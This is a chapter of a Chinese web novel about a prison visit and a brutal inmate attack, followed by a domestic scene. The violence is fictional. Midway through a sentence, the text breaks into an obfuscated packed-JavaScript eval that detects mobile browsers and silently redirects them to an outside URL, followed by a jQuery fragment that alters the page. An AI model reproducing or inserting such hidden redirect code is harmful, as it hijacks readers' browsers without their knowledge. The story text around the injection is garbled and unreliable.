95. 芳芳纺织厂(47)

作品:《禁止迷恋反派![快穿]

    重平市第一监狱。


    “张志源!有探视!”


    铁栅栏被敲响,狱警的声音响起。


    张志源抬起头来。


    看向——


    探视间的玻璃隔离之外,他对面坐着一个面容精致华美到不似真人的青年。


    “你是谁?”


    他的眼中露出一丝疑惑。


    “张志源,狱中生活怎么样?”


    青年只说。


    这瓷偶一般的青年脸上分明没有半点情绪可言,语气中却带着戏谑笑意,轻佻而散漫。


    这割裂到几乎诡异的一幕,让张志源一时间愣住。


    “回答。”


    瓷偶青年说。


    这次他的语气总算符合了表情,是冷漠到没有一丝波动的平直。


    “还好,比想像中舒服多了,热闹。”


    被着气势迫住,张志源下意识回答。


    “你为什么还没有杀乌至凡?”


    青年的声音又变得轻佻戏谑起来。


    这语气好熟悉。


    张志源的眉头紧紧皱起,他思索着,片刻后,似乎恍然大悟,笑出声来。


    “你怎么不不自己来问我?反而派了个传声筒过来?”


    他哈哈大笑着,喉咙都有些发痛,猛地趴在玻璃上,一字一句:


    “闵、朝、言。”


    青年的表情一顿,显然没想到他在第二句话就能发现这个真相,眼中闪过一瞬狠戾。


    “你是曲让尘吧,我听说过你。”


    情势反转,张志源脸上神情了然。


    “她最忠心的小狗……啧,好矫情的称呼。为什么你们这些人都像浪漫小说中毒一样?”


    他说。


    曲让尘的惊讶早已消散,面无表情地看着对方。


    张志源身上穿着囚衣,神情却好像正在公园里野餐一般惬意。


    “你为什么没有杀乌至凡。她说过,你的目的是复仇,行动不应该这么慢。”


    曲让尘声音平直。


    “因为我在等着她来找我啊,没想到居然来的是你。”


    张志源轻哼一声。


    曲让尘的目光锐利,直直刺向张志源,语气森寒:


    “你要对她不利?”


    “如果我说是的话,你这只忠诚小狗是不是要砸碎玻璃来杀我了?”


    张志源笑出声来,微微眯起眼睛。


    “……”


    曲让尘依然狠戾瞪着他,完全不反驳。


    他真的会这么做。


    主人的安危大于一切,这是早已刻入生命的准则。


    “不用担心,我可不是她的敌人。相反的,我一直都很喜欢她呢。”


    张志源嗤笑一声。


    他似乎想要靠在椅子上,做出一个闲适自在的姿势,


    然而囚犯的铁质椅子完全由金属和螺丝构成,没有椅背。


    他靠了个空,手打到椅子底部,发出一声响,有些无奈地直起身子。


    “如果我小时候也有那么聪明,说不定我们家就不会变成那样了。”


    他低声感慨。


    曲让尘没有接话。


    一如既往的,除了与闵朝言相关的一切,没有任何东西能让忠诚的小狗竖起耳朵。


    “真厉害,真把人训成狗了。”


    张志源感叹一句,也不知道是羡慕还是唏嘘。


    “你现在听这种话,是不是都觉得是夸奖,不是骂你了?”


    他凑近玻璃,带着笑问曲让尘。


    曲让尘掀起漂亮的眼皮看了他一眼,没有说话,表情却很理所当然的样子,仿佛在说:


    不然呢?


    曲让尘从来就不想做人。


    做人有什么好的?


    在那些所谓“人”的记忆里,只有饥饿,疼痛,无穷无尽的挣扎和苦难。


    程百福和谢远朋都以为自己是闵朝言第一个“委托人”,但她们都错了。


    她们不是第一个,


    曲让尘才是闵朝言的第一个“委托人”。


    他的委托,是祈求闵朝言的注目。


    他的报酬,是他自己。


    他将从此“属于”闵朝言。


    而当他属于闵朝言之后,


    他的生命才终于迎来温暖的东西,光亮的轮廓。


    和火焰。


    将他所有苦痛通通烧光的火焰,席卷了那个所谓的“家”。


    在火焰燃烧的噼啪声中,小小的曲让尘躲在灰暗的厕所里。


    水将他淋湿浇透,烟的味道透过堵着湿毛巾的门缝传过来,呛得他眼泪直流。


    他会死吗?


    这一切真的会结束吗?


    曲让尘不知道。


    他不知道自己会怎样。


    也许像阿言所说的一样,他终于可以不用再挨打了,不用再挨饿了,一切都结束了。


    但也许,他会死在这里,死在这场火里,或者在这场火结束之后被抓起来,当作纵火犯审判。


    曲让尘不害怕。


    但他希望阿言是对的。


    他希望,阿言说的一切都会成真,


    他希望她的计划完美成功,希望这世界上所有的东西都成为她想要的样子。


    在饥饿和疼痛中长大的男孩不知道,那是一种什么感觉。


    后来,


    在很久以后的后来,


    在他成为“曲让尘”之后的后来,他终于明白:


    那是爱。


    爱一个人,就会希望,这世界上的一切都如她所愿。


    或者,如果真的爱一个人,哪怕这个世上的东西不能如她所愿,也不没关系。


    他会将那些东西变成她想要的样子。


    无论付出什么代价。


    “还有七分钟。”


    曲让尘看着时钟,缓缓皱起眉。


    七分钟。


    如果不能达成阿言的要求。


    就杀了这个人。


    他进了监狱,更能完成阿言的指令。


    曲让尘面无表情地想着。


    “放轻松~她让你来,又不是为了和我要信息的。她的智商,还能不知道,你撬不开我的嘴吗?”


    张志源说。


    “……嗯。”


    曲让尘点头。


    他也知道自己不是擅长沟通和套取信息的类型,他是执行者,是一把完美的刀。


    他做惯了工具,也乐于被闵朝言握在手中。


    被她……使用。


    想到这里,冰冷的瓷偶身体里不自觉升起一点热意。


    像是心脏终于开始跳动着。


    “小传声筒,告诉她,我知道她的意思了,她想要的,我帮她做到。不过,她也要帮我做一件事。”


    张志源敲敲玻璃,强行将曲让尘的神智拉回。


    曲让尘点头,这是同意的意思。


    “哇,你真的话好少。”


    张志源翻了个白眼,又笑起来。


    “她应该能猜出来,从一开始就有人在后面帮我,那个家伙也确实让我得到了我想要的,不过嘛……”


    平凡的面孔因恶意的笑容而扭曲,他低声道:


    “我现在想要过河拆桥了,我想,你的主人也一定乐于见到这一切。”


    曲让尘的眸光闪着,眼睛一眨也不眨地听着。


    “小狗,你要小心了~那个家伙最讨厌的就是你了。最先想要除掉的,也一定!是你哦!”


    张志源大笑起来,上半身全部趴在玻璃上,五官被挤成扭曲的形态,仿佛一张正在融化的油画。


    画布的背景上,


    是永远无法熄灭的疯狂烈焰。


    “探视结束!张志源!”


    狱警上前反剪住张志源的双臂,厉声呵斥,将人押回到囚室。


    砰——!


    铁门被重重拉上。


    张志源被推入囚室,一个趔趄倒在地上。


    他居然还在不停地笑着,肩膀耸动,胸膛剧烈起伏,让人简直疑惑那颗狂跳的心脏会在什么时候将肋骨也撞碎,冲出胸膛来。


    “你们说,老天是不是太不公平了?”


    他笑着问。


    囚室中一片寂静,没人回答他。


    其他囚犯简直对这个精神病没招了!


    张志源是个纯疯子,不怕打不怕骂,不管自己能不能打得过都纯下死手,其他囚犯现在被逼无奈,只能躲着他,当他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959513|182368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不存在。


    这样他发疯抓人打架的时候,就只会盯着一个目标了。


    反正囚室里他们没有武器,赤手空拳打起来,狱警马上就会过来干预。


    打不死人。


    “喂,乌至凡,你当初为什么不杀曲家人,非杀我爸啊?”


    张志源躺在地上,笑着转过头去,看向自己斜对面的方向。


    那里孤零零坐着一个中年男人,他很瘦,脸上的骨骼崎岖地突出来,原本憨厚老实的面相也变得凶狠。


    哪怕曲让尘本人来了,恐怕也认不出来,这就是当初那个雇用他运送赃物的“哑巴”。


    哑巴没有回答张志源的话。


    “真是不公平啊,怎么曲让尘能被闵朝言捡到,我只能被那种家伙捡到?”


    张志源忿忿不平地小声絮叨着,脸上的表情简直像个孩子。


    “喂,乌至凡,来打架!”


    他从地上爬起来,大叫着。


    正当乌至凡以为他会又一次铺上来的时候,张志源忽然露出一个几乎要把嘴角撕裂的笑容。


    !——跑!


    对危险极度敏感的直觉瞬间充斥大脑,哑巴拔腿向外跑去,大声呼喊着,整个人靠在铁栅栏上。


    他无路可逃,但狱警走过来,是需要时间的。


    囚室里没有武器。


    但探视间的椅子上,有螺丝。


    张志源手指间金属寒光一闪,只有半个指节长的螺丝狠狠刺入哑巴的眼睛里。


    “啊啊啊啊——!!!!!”


    眼球被戳破,哑巴发出一身撕心裂肺的嚎叫。


    “诶,我的螺丝呢?你怎么这么坏啊,偷我东西。”


    张志源大声笑着说,一脸无辜:


    “那没办法啦,我得找东西呀。”


    他的手指捅进被戳烂的眼球里,用力地搅弄着,声音焦急:


    “我的东西呢,我的东西去哪儿了,怎么哪里都找不到啊……”


    在自己痛苦的嚎叫声中,哑巴感受到张志源的手慢慢贴在自己后颈。


    他听见恶魔的笑语:


    “你知道吗?我之前在精神病院住过几天,我的舍友,是个退休了的老教师,他在学校里教兽医的。”


    “他告诉我,脊柱是最脆弱的位置,一旦折断,动物就瘫了。”


    “其实不仅仅是动物,人也一样的,我一直,很好奇是不是真的……我们试试吧?”


    “反正,她只要你嘴还能动吧?”


    ——咔!


    “啊啊啊啊!!!”


    -


    “朝言,我有事想和你说。”


    隋觉荆说。


    他一路将闵朝言送回家,路上几次欲言又止,终于,在即将分开的瞬间。鼓起勇气开口。


    “我猜猜,要进来说?”


    闵朝言笑着问。


    隋觉荆有些紧张地喉结一滚。


    很奇怪,明明他要说的是正事,而且是很着急的正经事,但闵朝言这么一问,气氛反而奇怪起来。


    就、就好像,他说出这句话,只是为了进屋而已。


    清醒点隋觉荆,现在不是想这些的时候!


    高大的青年用力拍了一下自己的头。


    他用了真力气,脑门发出一声闷响。


    “本来就不聪明,别又打傻了。”


    闵朝言扑哧一笑,握住隋觉荆的手腕。


    “嗯。”


    隋觉荆低着头,任由她将自己拉进房间,麦色肌肤上,耳尖泛起浅浅的红。


    “荔枝茶,配甜点吧?”


    闵朝言笑眯眯地问。


    “好。”


    隋觉荆点头。


    然后非常自觉地系上围裙开始准备夜宵。


    他先把茶煮上,然后在冰箱里寻找食材,看到摆盘精致的芝士蛋糕时,眼神一黯。


    闵朝言的冰箱里从不缺少美食,只是可能从此以后,准备这些美食的人,不仅仅是隋觉荆了。


    仅仅只是想到这句话,


    隋觉荆都觉得有四面墙向自己压来。


    如何能驱逐走所有人呢?


    在不敢去听的心音角落里,


    隋觉问自己。